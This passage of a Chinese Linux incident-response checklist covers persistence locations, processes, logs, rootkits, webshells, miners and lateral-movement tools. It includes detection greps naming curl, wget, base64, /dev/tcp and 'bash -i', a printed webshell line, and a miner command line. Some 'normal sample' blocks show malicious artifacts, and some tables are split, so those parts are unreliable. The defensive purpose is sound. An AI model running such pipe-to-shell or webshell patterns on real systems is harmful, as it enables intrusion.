▸ **如何排除误报**

- 运维人员习惯用 `history -c` 清理敏感命令，需与运维确认。
- 非交互式 shell（cron、su -c）不写 history，缺失属正常。
- `HISTSIZE=0` 在企业加固基线中偶有配置，不等于入侵。

⑤ **证据留存**

把可疑命令连同时间（`stat` 的 mtime 只能给到会话级）抄入表 2-1；含 IP/域名/URL 的同步记入第 6 章 IOC 表。history 文件本身复制一份并计算 SHA256。

批注

2.4 定时任务

P2

对应脚本：linux_cron() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

cron 是 Linux 最经典的持久化位置，且用户级 crontab 存放在 `/var/spool/cron` 下，容易漏查。

② **执行命令**

```bash
crontab -l; sudo ls -l /var/spool/cron/ /var/spool/cron/crontabs/ 2>/dev/null
cat /etc/crontab; ls -l /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
sudo grep -rEn 'curl|wget|base64|/dev/tcp|python -c|bash -i' /etc/cron* /var/spool/cron/ 2>/dev/null
sudo cat /var/spool/cron/crontabs/* 2>/dev/null
```

③ **正常样例**

```
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
0 3 * * * root /usr/local/bin/backup.sh
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
cron 条目含 `curl ...	严重	bash`、`wget ... -O-	sh`、`base64 -d	sh`
cron 条目执行 `/tmp`、`/dev/shm`、`/var/tmp` 下的脚本	严重	**脚本** linux_cron() L11398
`* * * * *`（每分钟）执行陌生脚本（挖矿/保活）	高危	**脚本** linux_cron() L11398
`/etc/cron.d/` 中出现伪装名（`sysupdate`、`logrotate2`、`0anacron`）	高危	**经验**
用户级 crontab 属于非运维账号	中危	**脚本** linux_cron() L11416
`/etc/cron.d/` 文件权限被改为可写（777）	提示	**经验**

▸ **如何排除误报**

- `run-parts` 类系统条目属发行版自带，属正常。
- 运维常用 cron 做备份/巡检，需核对是否有登记。
- cron 的 `%` 与引号在不同 shell 下行为不同，抄录时保持原文。

⑤ **证据留存**

抄录「文件路径 + 完整 cron 行 + 执行用户 + 文件 mtime」，填入表 2-1；被调用的脚本取 SHA256 并按第 0.3 节提取。

批注

2.5 启动项与 rc.local

P2

对应脚本：linux_autoruns() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

rc.local 与 init.d 脚本在开机时以 root 执行，是「重启即复活」的常见载体。

② **执行命令**

```bash
ls -l /etc/rc.local; cat /etc/rc.local 2>/dev/null
ls -l /etc/rc3.d/ /etc/rc.d/rc3.d/ 2>/dev/null
sudo grep -rlnE 'curl|wget|base64|/dev/tcp' /etc/init.d/ /etc/rc.local 2>/dev/null
systemctl list-unit-files --state=enabled
ls -l /etc/systemd/system/multi-user.target.wants/
```

③ **正常样例**

```
#!/bin/sh -e
exit 0

lrwxrwxrwx 1 root root 20 Sep  2 10:11 S01networking -> ../init.d/networking
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
rc.local 中出现 `curl	严重	bash`、`python -c`、`/dev/shm/xxx` 启动
rc.local 权限含写位且被非 root 拥有	严重	**脚本** linux_autoruns() L11313
`/etc/init.d/` 中出现陌生脚本且链接入 rc3.d	高危	**经验**
enabled 列表中出现陌生服务（名称随机/伪装）	高危	**脚本** linux_autoruns() L11359
rc.local 在近期被修改（mtime 在案发窗口）	中危	**脚本** linux_autoruns() L11336
rc.local 不存在属正常（新版 systemd 发行版默认无）	提示	**脚本** linux_autoruns() L11313

▸ **如何排除误报**

- 部分老旧业务系统仍用 rc.local 挂载/启动，需核对。
- systemd 发行版的 rc.local 常由 `rc-local.service` 托管，需同时 `systemctl status rc-local`。
- `S01networking` 等数字前缀为 SysV 运行级约定，属正常。

⑤ **证据留存**

抄录 rc.local 全文与 init.d 陌生脚本的「路径 + mtime + 内容首 20 行」，填入表 2-1；引用文件取 SHA256。

批

注

2.6 后门与持久化（通用位置）

P1

对应脚本：linux_backdoors() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

先扫「恶意文件最爱待的地方」：/tmp、/dev/shm、/var/tmp、隐藏目录，以及 ld.so.preload 与 authorized_keys。

② **执行命令**

```bash
ls -la /tmp /var/tmp /dev/shm
sudo find /tmp /var/tmp /dev/shm -type f \( -perm -u+x -o -name '*.sh' \) -mtime -30 2>/dev/null
cat /etc/ld.so.preload 2>/dev/null; echo "---"; ls -la /etc/ld.so.preload 2>/dev/null
sudo ls -la /root/.ssh/ /home/*/.ssh/ 2>/dev/null
sudo cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys 2>/dev/null
sudo find / -xdev -type d -name '.*' -newermt '-30 days' 2>/dev/null | head -20
```

③ **正常样例**

```
/tmp:
total 12
drwxrwxrwt 10 root root 4096 Oct 19 02:10 .
-rwxr-xr-x  1 root root 8192 Oct 19 02:10 .x

/etc/ld.so.preload: (不存在)

ssh-rsa AAAAB3NzaC1yc2E... webadmin@laptop
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
`/etc/ld.so.preload` 存在且非空（用户态 rootkit 的标准手法）	严重	**脚本** linux_backdoors() L11483
`/dev/shm` 或 `/tmp` 存在近期新增的可执行文件，且无对应软件包	严重	**脚本** linux_backdoors() L11563
`authorized_keys` 中出现陌生公钥，或公钥带 `command="..."` 强制命令	严重	**脚本** linux_backdoors() L11432
`/root/.ssh/` 权限异常（777）或出现 `authorized_keys2`	高危	**经验**
根目录下存在 `/.xxx` 形式的隐藏目录（如 `/.ssh_bak`、`/.cache2`）	高危	**经验**
`/tmp` 下存在 ELF 文件但无执行位（待赋权）	中危	**经验**

▸ **如何排除误报**

- `/tmp` 下常有运维脚本与安装临时文件，需看是否有对应软件包（`rpm -qf` / `dpkg -S`）。
- `authorized_keys` 里有运维人员公钥属正常，需与运维名单核对注释字段。
- `ld.so.preload` 在极少数性能监控软件中会使用，需核对。

批注

⑤ **证据留存**

对每个可疑文件记录「路径 + 大小 + mtime + SHA256 + file 类型」，填入表 2-1；`authorized_keys` 全文抄录（公钥可完整抄，便于比对），并记录文件 mtime。

2.7 进程、端口与网络连接

P1

对应脚本：linux_net_proc() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

第 2 章

① **检查目的**

把监听端口与进程对应，找出监听后门端口、外连矿池、以及进程名伪装（如 `[kworker]`）的异常进程。

② **执行命令**

```bash
ps auxf
ps -eo pid,ppid,user,etime,cmd --sort=start_time | tail -30
sudo ss -tunlp
sudo ss -antp state established
sudo lsof -i -n -P 2>/dev/null | head -40
```

③ **正常样例**

```
USER       PID %CPU %MEM    VSZ   RSS TTY   STAT START   TIME COMMAND
root         1  0.0  0.1 168340 11204 ?     Ss   Oct07   0:12 /sbin/init
www-data  2044  0.3  0.9 421000 38000 ?     S    Oct19   0:01 nginx: worker process

Netid State  Local Address:Port  Peer Address:Port Process
 tcp  LISTEN 0.0.0.0:22          0.0.0.0:*     users:(("sshd",pid=812,fd=3))
```

（输出已截断，仅示意形态）

批注

第2章

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
监听 4444/5555/6666/7777/8888/9999/12345/31337/1337/9001/8000/2222/4443/1080 且进程路径在 /tmp、/dev/shm	严重	**脚本** linux_net_proc() L11236
进程外连矿池端口 3333/4444/5555/7777/14444/45700/8333/18081	严重	**脚本** linux_net_proc() L11236
进程名伪装成内核线程（形如 `[kworker/0:1]` 但 PID 在 ps 中可查、且 `[` 后带随机串）	高危	**脚本** linux_net_proc() L11264
同一进程对 10 个以上不同远端 IP 发起 445 连接	高危	**经验**
进程以 root 运行但可执行文件位于 `/home`、`/tmp`、`/var/tmp`	中危	**脚本** linux_net_proc() L11264
PPID=1 的陌生守护进程（被 nohup/setsid 脱离终端）	提示	**经验**

▸ **如何排除误报**

- `ss` 与 `netstat` 在部分精简系统上只装其一，用 `lsof -i` 兜底。
- Java/Tomcat 会监听 8005/8009/8080，需核对业务。
- 容器内进程在宿主机 ps 中可见但路径为 overlay，属正常。

⑤ **证据留存**

抄录「PID + PPID + 用户 + 启动时间 + 完整命令行 + 可执行路径 + 监听/外连地址」，填入表 2-1；`ss -tunlp` 与 `ps auxf` 全量另存（`/tmp/case/` 下）。

2.8 文件系统与隐藏文件

P1

对应脚本：linux_files() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

按「近期 + 可执行 + 非常规路径」三个条件筛落地物；`-xdev` 限定不跨文件系统，避免扫到挂载的网络盘。

② **执行命令**

```bash
sudo find / -xdev -type f -mtime -30 -perm -u+x 2>/dev/null | grep -vE '^/(usr|lib|lib64|bin|sbin|boot)/'
sudo find / -xdev -type f -newermt '-7 days' 2>/dev/null | head -40
sudo find / -xdev -name '.*' -type f -mtime -7 2>/dev/null | head -30
sudo find / -xdev -type f -size +20M -mtime -7 2>/dev/null
sudo find / -xdev -type f -perm -4000 2>/dev/null
```

③ **正常样例**

```
/var/www/html/upload/shell.php
/home/webadmin/.cache/.update
/tmp/.x

-rwsr-xr-x 1 root root 68208 /usr/bin/passwd
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
Web 目录下出现近期新增的可执行文件或脚本（与第 2.32 节联合确认）	严重	**脚本** linux_files() L11681
`/home/*`、`/opt`、`/srv` 下出现近期新增的 ELF 文件	高危	**脚本** linux_files() L11681
隐藏文件（`.` 开头）位于 `/tmp`、`/dev/shm`、`/home` 且可执行	高危	**脚本** linux_files() L11687
SUID 文件出现在 `/tmp`、`/home`、`/opt` 等非常规路径	中危	**经验**
近期出现 > 20MB 的陌生文件（打包数据/挖矿日志）	中危	**经验**
文件 mtime 与 ctime 严重不一致（`stat` 查看，可能被 timestomp）	提示	**脚本** linux_files() L11691

▸ **如何排除误报**

- `/usr`、`/lib` 下的更新由包管理器产生，故用 `grep -v` 排除。
- 应用日志、缓存目录会持续产生新文件，需按路径归类排除。
- `-xdev` 会漏掉独立挂载的 `/var`、`/home`，必要时对每个挂载点分别执行。

⑤ **证据留存**

记录「路径 + 大小 + mtime + ctime + 权限 + SHA256」，填入表 2-1；按第 0.3 节提取可疑文件，SUID 文件额外记录属主与 inode。

2.9 日志分析

P1

对应脚本：linux_logs() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

从 auth/secure 与 journal 中提取登录成功/失败、sudo 使用、服务启停，建立时间线。

② **执行命令**

```bash
ls -l /var/log/ | head -30
sudo grep -i "Failed password" /var/log/auth.log 2>/dev/null | tail -40
sudo grep -i "Accepted" /var/log/auth.log 2>/dev/null | tail -30
sudo journalctl -u sshd --since "7 days ago" | tail -40
sudo grep -iE "sudo:|useradd|new user|COMMAND=" /var/log/auth.log 2>/dev/null | tail -30
```

③ **正常样例**

```
Oct 19 02:03:44 web01 sshd[3180]: Failed password for root from 45.x.x.x port 51234 ssh2
Oct 19 02:11:09 web01 sshd[3211]: Accepted password for webadmin from 10.1.2.9 port 40122 ssh2
Oct 19 02:12:01 web01 sudo: webadmin : TTY=pts/0 ; PWD=/home/webadmin ; COMMAND=/bin/bash
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
同一 IP 失败登录 ≥20 次（爆破），且随后出现 Accepted	严重	**脚本** linux_logs() L11868
`Accepted password for root` 且来源为陌生公网 IP	严重	**脚本** linux_logs() L11892
`useradd` / `new user` 事件出现在案发时段	高危	**脚本** linux_logs() L11897
sudo 执行 `bash`、`sh`、`vi`、`passwd`（提权链）	高危	**经验**
日志中出现 `session opened for user root by (uid=1000)`	中危	**经验**
auth.log 缺失（系统用 journald 独占），需改查 `journalctl _COMM=sshd`	提示	**经验**

▸ **如何排除误报**

- 运维堡垒机、监控探活会产生大量失败登录，需按来源 IP 区分。
- Debian/Ubuntu 用 `auth.log`，RHEL/CentOS 用 `secure`。
- 轮转后的日志为 `auth.log.1`、`auth.log.2.gz`，需一并查看。

⑤ **证据留存**

按「时间 + 事件 + 账号 + 来源 IP」四列抄录，填入表 2-1 并进入第 7 章时间线；日志原件复制并计算 SHA256（注意先固定再分析）。

2.10 隐藏进程与资源占用

P1

对应脚本：linux_hidden_procs() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

用户态 rootkit 会 hook `readdir` 让进程在 ps 中消失。用 `/proc` 直接枚举做交叉比对即可发现差异。

② **执行命令**

```bash
ps -e -o pid= | tr -d ' ' | sort -n > /tmp/a.txt; ls /proc | grep -E '^[0-9]+$' | sort -n > /tmp/b.txt; diff /tmp/a.txt /tmp/b.txt
sudo ls -l /proc/*/exe 2>/dev/null | grep -i deleted
top -b -n1 | head -15; cat /proc/loadavg
sudo ls -l /proc/*/cwd 2>/dev/null | grep -iE '/tmp|/dev/shm'
```

③ **正常样例**

```
3c3
< 3180
---
> 3181

lrwxrwxrwx 1 root root 0 Oct 19 02:20 /proc/3180/exe -> /tmp/.x (deleted)
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
`ps` 与 `/proc` 的 PID 集合存在差集（进程被隐藏）	严重	**脚本** `linux_hidden_procs()` L12627
`/proc/*/exe` 指向 `(deleted)` 且原路径在 /tmp、/dev/shm（文件已删、进程仍在）	严重	**脚本** `linux_hidden_procs()` L12627
CPU 长期 90%+ 且进程名为随机串（挖矿）	高危	**脚本** `linux_hidden_procs()` L12668
进程 `cwd` 位于 /tmp、/dev/shm	高危	**经验**
load average 远高于历史基线	中危	**经验**
存在极短生命周期的进程反复出现（看门狗/保活）	提示	**经验**

▸ **如何排除误报**

- 内核线程不出现在 `/proc` 的普通 PID 目录中，属正常。
- 升级软件后旧进程仍指向 `(deleted)` 文件，属正常（重启服务即可）。
- 容器与宿主 namespace 不同，PID 对不上属正常。

⑤ **证据留存**

抄录差异 PID、`(deleted)` 进程的 PID 与原始路径、CPU 占用 TOP5，填入表 2-1；对 `(deleted)` 进程记录 `/proc/PID/maps` 中的文件名。

2.11 内核模块

P1

对应脚本：linux_kernel_modules() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

内核级 rootkit 以 .ko 形式加载，可隐藏进程/文件/端口。核对模块清单与文件时间是最直接的抓手。

② **执行命令**

```bash
lsmod
cat /proc/sys/kernel/tainted
sudo find /lib/modules/$(uname -r) -name '*.ko*' -newermt '-30 days' 2>/dev/null
modinfo 模块名 | head -15
ls -l /lib/modules/$(uname -r)/kernel/drivers/ 2>/dev/null | head
```

③ **正常样例**

```
Module                  Size  Used by
e1000e                282624  0
vmw_vmci               73728  1
nf_conntrack          143360  2

0
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
模块名不在发行版标准清单内，且 `modinfo` 无 `filename` 或无签名	严重	**脚本** linux_kernel_modules() L12698
`/lib/modules/$(uname -r)` 下存在近期新增的 .ko 文件	严重	**脚本** linux_kernel_modules() L12695
`/proc/sys/kernel/tainted` 非 0（加载了非 GPL/未签名模块）	高危	**经验**
模块名为随机串或伪装成常见驱动名（`nf_conn`、`ip_tab`）	高危	**经验**
`lsmod` 中有模块但 `/lib/modules` 下找不到对应文件（内存加载）	中危	**脚本** linux_kernel_modules() L12690
容器内 `lsmod` 显示宿主模块，属正常	提示	**经验**

▸ **如何排除误报**

- 虚拟化/云主机加载大量 virtio、vmw 模块，属正常。
- 第三方驱动（如 GPU、DPDK）会使 tainted 非 0，需核对。
- 部分安全软件（如某些 HIDS）加载自研模块，需对照软件清单。

⑤ **证据留存**

抄录模块名、大小、引用计数、对应 .ko 路径与 mtime，填入表 2-1；可疑 .ko 取 SHA256（不要卸载、不要 rmmod）。

2.12 文件 capabilities

P1

对应脚本：linux_capabilities() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

capabilities 可在不给 SUID 的情况下赋予进程特权，是提权后门的新宠，且常规 `find -perm -4000` 查不到。

② **执行命令**

```bash
sudo getcap -r / 2>/dev/null
sudo find / -xdev -type f -perm -4000 2>/dev/null
cat /proc/self/status | grep -i cap
getcap -r /usr/bin /usr/sbin /bin /sbin 2>/dev/null | sort
```

③ **正常样例**

```
/usr/bin/ping cap_net_raw=ep
/usr/bin/sudo cap_setuid=ep
/usr/bin/python3.8 cap_setuid,cap_setgid=ep
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
`cap_setuid`/`cap_setgid` 出现在 `/tmp`、`/home`、`/opt` 下的文件	严重	**脚本** `linux_capabilities()` L12712
解释器（python/perl/php/bash）被赋予 `cap_setuid+ep`（可直接提权）	严重	**脚本** `linux_capabilities()` L12712
`cap_dac_read_search`/`cap_dac_override` 赋予非系统文件（可读任意文件）	高危	**脚本** `linux_capabilities()` L12712
`cap_sys_admin` 赋予普通程序（可挂载/逃逸）	高危	**脚本** `linux_capabilities()` L12712
`cap_net_raw` 赋予非 ping 类程序（可抓包）	中危	**经验**
getcap 结果为空属正常（多数发行版默认不设 capability）	提示	**脚本** `linux_capabilities()` L12718

▸ **如何排除误报**

- `ping`、`traceroute`、`dumpcap` 使用 `cap_net_raw` 属正常。
- 容器运行时（runc、crun）会有 capability，需核对。
- `getcap -r /` 在超大文件系统上较慢，可加 `2>/dev/null` 并耐心等待。

⑤ **证据留存**

抄录「文件路径 + capability 列表 + 属主 + mtime」，填入表 2-1；对解释器类条目记录其是否可被普通用户执行（`ls -l`）。

2.13 SSH 后门面

P2

对应脚本：linux_ssh_surface() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

SSH 是最常见的入口与驻留点：改配置开口令登录、换端口、塞公钥、改 PAM 记录密码。

② **执行命令**

```bash
sudo grep -vE '^#|^$' /etc/ssh/sshd_config
sudo ls -la /root/.ssh/ /home/*/.ssh/ 2>/dev/null
sudo cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys 2>/dev/null
sudo stat -c '%n %y %s' /etc/ssh/sshd_config /root/.ssh/authorized_keys 2>/dev/null
sudo ls -l /etc/ssh/sshd_config.d/ 2>/dev/null; sudo cat /etc/ssh/sshd_config.d/*.conf 2>/dev/null
```

③ **正常样例**

```
Port 22
PermitRootLogin prohibit-password
PasswordAuthentication no
PubkeyAuthentication yes

-rw------- 1 root root 742 Oct 19 02:15 authorized_keys
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
`PermitRootLogin yes` 且 `PasswordAuthentication yes`，且配置在近期被改	严重	**脚本** `linux_ssh_surface()` L12773
`authorized_keys` 中存在陌生公钥或带 `command=` / `from=` 限制的公钥	严重	**脚本** `linux_ssh_surface()` L12773
`Port` 被改为非常规端口且无变更记录	高危	**脚本** `linux_ssh_surface()` L12773
`sshd_config.d/` 中存在覆盖主配置的陌生 .conf（如再开口令登录）	高危	**脚本** `linux_ssh_surface()` L12773
`AllowUsers` / `DenyUsers` 被清空（原有访问控制被移除）	中危	**经验**
`UsePAM yes` 但 `/etc/pam.d/sshd` 被改动（见第 2.25 节）	提示	**经验**

▸ **如何排除误报**

- 云主机默认允许 root 密钥登录，需核对是否为初始配置。
- `authorized_keys` 注释字段是用户自定义的，可伪造，不能作为唯一判据。
- `sshd_config.d/*.conf` 会覆盖主配置，容易漏看。

⑤ **证据留存**

抄录 sshd_config 的关键 6 项（Port / PermitRootLogin / PasswordAuthentication / PubkeyAuthentication / AllowUsers / UsePAM）、authorized_keys 中每条公钥的注释与指纹，填入表 2-1；记录两文件 mtime。

2.14 注入点与自启动（环境与动态链接） P1

对应脚本：linux_injection_points() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

通过 profile / ld.so.conf / LD_PRELOAD 注入，可在每次登录或每个进程启动时执行恶意代码，且不需要 root。

② **执行命令**

```bash
ls -la /etc/ld.so.conf.d/
ldconfig -p | head -40
sudo grep -rn 'LD_PRELOAD\|LD_LIBRARY_PATH' /etc/profile* /etc/bash.bashrc /etc/environment 2>/dev/null
ls -la /etc/profile.d/
sudo grep -rlnE 'curl|wget|base64 -d|/dev/tcp' /etc/profile.d/ /etc/profile /etc/bash.bashrc 2>/dev/null
cat /etc/environment
```

③ **正常样例**

```
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
LANG="C.UTF-8"

-rw-r--r-- 1 root root 1024 Oct 19 02:18 /etc/profile.d/zz.sh
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
`/etc/ld.so.preload` 非空不属本节：preload 文件本体见 2.6，本节只查 `/etc/ld.so.conf.d/` 与 `ldconfig -p` 缓存	提示	**脚本** `linux_backdoors()` L11483
`profile.d` 中出现陌生脚本且含下载/执行逻辑	**严重**	**脚本** `linux_injection_points()` L12826
`/etc/environment` 或 profile 中被写入 `LD_PRELOAD=/tmp/xxx.so`	**高危**	**脚本** `linux_injection_points()` L12826
`/etc/ld.so.conf.d/` 中新增指向 /tmp、/home 的路径	**高危**	**脚本** `linux_injection_points()` L12826
`profile.d` 脚本 mtime 在案发窗口内	中危	**脚本** `linux_injection_points()` L12830
`/etc/profile` 中出现 `alias ls=` 等覆盖常用命令的定义	提示	**经验**

说明：preload 文件本体见 2.6；本节只查 `/etc/ld.so.conf.d/` 与 `ldconfig -p` 缓存，不重复读取 `/etc/ld.so.preload`。

▸ **如何排除误报**

- JDK、CUDA 会写 `ld.so.conf.d`，属正常。
- 企业统一登录脚本会放 `profile.d`，需核对。
- `LD_LIBRARY_PATH` 在个别应用启动脚本中正常使用。

⑤ **证据留存**

抄录可疑文件全文（或首 30 行）、路径、mtime，填入表 2-1；被引用的 .so/.sh 取 SHA256 并提取。

2.15 at / systemd timer

P2

对应脚本：linux_sched_jobs() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

批注

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① 检查目的

at 一次性任务与 systemd timer 是 cron 之外的定时执行方式，常被忽略。

② 执行命令

```bash
atq 2>/dev/null; sudo ls -l /var/spool/at/ /var/spool/cron/atjobs/ 2>/dev/null
systemctl list-timers --all
systemctl list-unit-files | grep -i timer
sudo cat /etc/systemd/system/*.timer 2>/dev/null
sudo find /etc/systemd/system -name '*.service' -newermt '-30 days' 2>/dev/null
```

③ 正常样例

```
NEXT                         LEFT     LAST                         PASSED  UNIT                    ACTIVATES
Mon 2026-10-20 00:00:00 CST 3h left  Sun 2026-10-19 00:00:01 CST 20h ago apt-daily.timer        apt-
daily.service
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
timer 的 `ExecStart` 指向 /tmp、/dev/shm、/home 下的脚本	严重	**脚本** linux_sched_jobs() L12915
存在近期新增的 .service + .timer 组合，且服务名伪装（`sysupdate`、`kworker`）	严重	**脚本** linux_sched_jobs() L12915
at 队列中存在待执行任务（`atq` 非空），且内容为下载/执行	高危	**脚本** linux_sched_jobs() L12915
timer 触发间隔为 `OnUnitActiveSec=1min` 且执行陌生脚本	中危	**脚本** linux_sched_jobs() L12915
`/etc/systemd/system` 下近期新增的 .service（需看是否为软件安装）	提示	**脚本** linux_sched_jobs() L12919

▸ **如何排除误报**

- `apt-daily`、`logrotate`、`fstrim`、`man-db` 为发行版自带 timer。
- 软件安装（如 certbot）会创建 timer，需核对。
- `atq` 需 atd 服务运行，未装 at 时命令不存在属正常。

⑤ 证据留存

抄录 timer/service 文件名、`ExecStart` 完整命令行、触发规则、文件 mtime，填入表 2-1；对应脚本取 SHA256。

2.16 Web 应用层后门（按目录）

P1

对应脚本：linux_web_layer() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

批注

① 检查目的

WebShell 落在站点目录中，是最常见的入口。按「近期修改 + 危险函数 + 异常命名」三条件筛。

② 执行命令

```bash
sudo find /var/www /usr/share/nginx/html /home/*/public_html -type f -mtime -30 2>/dev/null | head -50
sudo find /var/www -type f \( -name '*.php' -o -name '*.jsp' -o -name '*.asp' -o -name '*.aspx' \) -newermt '-7 days' 2>/dev/null
sudo grep -rlnE 'eval\(|assert\(|base64_decode\(|system\(|passthru\(|shell_exec\(' /var/www 2>/dev/null | head -20
sudo find /var/www -type f -name '*.php' -perm -o+w 2>/dev/null | head
```

③ 正常样例

```
/var/www/html/upload/20261019.php
/var/www/html/images/logo.png

/var/www/html/upload/20261019.php: eval($_POST['a']);
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
上传/图片/缓存目录中出现 .php/.jsp 文件	严重	**脚本** linux_web_layer() L12890
同一文件同时出现「请求变量 + 执行函数」（`$_POST` + `eval`）	严重	**脚本** linux_web_layer() L12890
文件名随机（`a1b2c3.php`）或伪装（`1.php`、`x.jpg.php`）	高危	**脚本** linux_web_layer() L12890
正常业务文件在近期被修改且无变更记录	中危	**经验**
图片文件内容中出现 `<?php`（图片马）	提示	**脚本** linux_web_layer() L12890

▸ **如何排除误报**

- CMS 插件目录本身就有大量 eval/assert 调用，需按文件来源判断。
- 缓存目录会生成 php 缓存文件，属正常。
- `grep -l` 只给文件名，需再 `head` 看上下文确认。

⑤ 证据留存

记录「路径 + 大小 + mtime + 命中函数 + 首行内容」，填入表 2-1；按第 4 章逐个人工审阅，确认后按第 7.5 节处置，不要先删。

2.17 恶意家族与勒索痕迹

P1

对应脚本：linux_malware_families() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

批注

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① 检查目的

直接找「已知恶意家族」的物证：挖矿进程与矿池配置、勒索信与加密后缀、蠕虫的横向扫描模块。

② 执行命令

```bash
ps aux | grep -iE 'xmrig|minerd|kdevtmpfsi|kinsing|watchdogs' | grep -v grep
sudo find / -xdev \( -iname '*readme*decrypt*' -o -iname '*how_to_decrypt*' -o -iname '*恢复文件*' \) 2>/dev/null | head
sudo find / -xdev -type f \( -name '*.encrypted' -o -name '*.locked' -o -name '*.crypt' \) 2>/dev/null | head
sudo grep -rlsE 'stratum\+tcp|xmrig|supportxmr|nanopool|moneroocean' /etc /tmp /var/tmp /home 2>/dev/null | head
```

③ 正常样例

```
root  4180  99.3  2.1 1240000 84000 ?  Sl  Oct19 320:11 /tmp/.x -o pool.minexmr.com:4444

README_TO_DECRYPT.txt
重要通知.txt
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
进程含 `stratum+tcp://`、矿池域名、钱包地址（挖矿确证）	严重	**脚本** linux_malware_families() L12980
发现勒索信文件（`README_TO_DECRYPT`、`重要通知`）或批量加密后缀	严重	**脚本** linux_malware_families() L12980
`kinsing`/`kdevtmpfsi` 进程或文件（云主机常见挖矿蠕虫）	严重	**脚本** linux_malware_families() L12980
`/etc/hosts` 中禁止访问安全厂商域名（挖矿木马的常见手法）	高危	**经验**
CPU 长期满载但业务流量正常	中危	**经验**
磁盘出现大量同名不同后缀文件（加密过程）	提示	**脚本** linux_malware_families() L12980

▸ **如何排除误报**

- 业务程序也可能命名为 `miner`，需看命令行是否含矿池地址。
- `README.txt` 属正常文件，勒索信要看具体命名与内容。
- 加密后缀可能是备份软件生成，需看能否正常打开。

⑤ 证据留存

记录「进程 PID + 完整路径 + 矿池地址/钱包地址 + 勒索信路径」，填入表 2-1；样本文件按第 0.3 节提取（不要执行、不要删除），勒索信全文拍照/抄录。

2.18 横向移动工具

P2

对应脚本：linux_lateral_and_tools() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

批注

① 检查目的

攻击者常把扫描器、爆破工具、代理工具上传到跳板机，并用窃取的私钥横向扩散。

② 执行命令

```bash
sudo find / -xdev \( -name 'fscan*' -o -name 'nmap' -o -name 'masscan' -o -name 'hydra' -o -name 'frpc*' -o -name 'lcx*' \) -type f 2>/dev/null | head
sudo ls -la /root/.ssh/ /home/*/.ssh/ 2>/dev/null; sudo wc -l /root/.ssh/known_hosts 2>/dev/null
sudo grep -c '' /root/.ssh/authorized_keys 2>/dev/null
sudo find / -xdev -name 'id_rsa' -o -name '*.pem' 2>/dev/null | head
grep -inE '^ssh |scp |rsync |nmap|masscan' ~/.bash_history 2>/dev/null | tail -20
```

③ 正常样例

```
/root/.ssh/known_hosts: 12
/root/.ssh/id_rsa

12 /root/.ssh/known_hosts
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
发现 fscan/masscan/hydra 等工具，且非安全团队登记	严重	**脚本** linux_lateral_and_tools() L13019
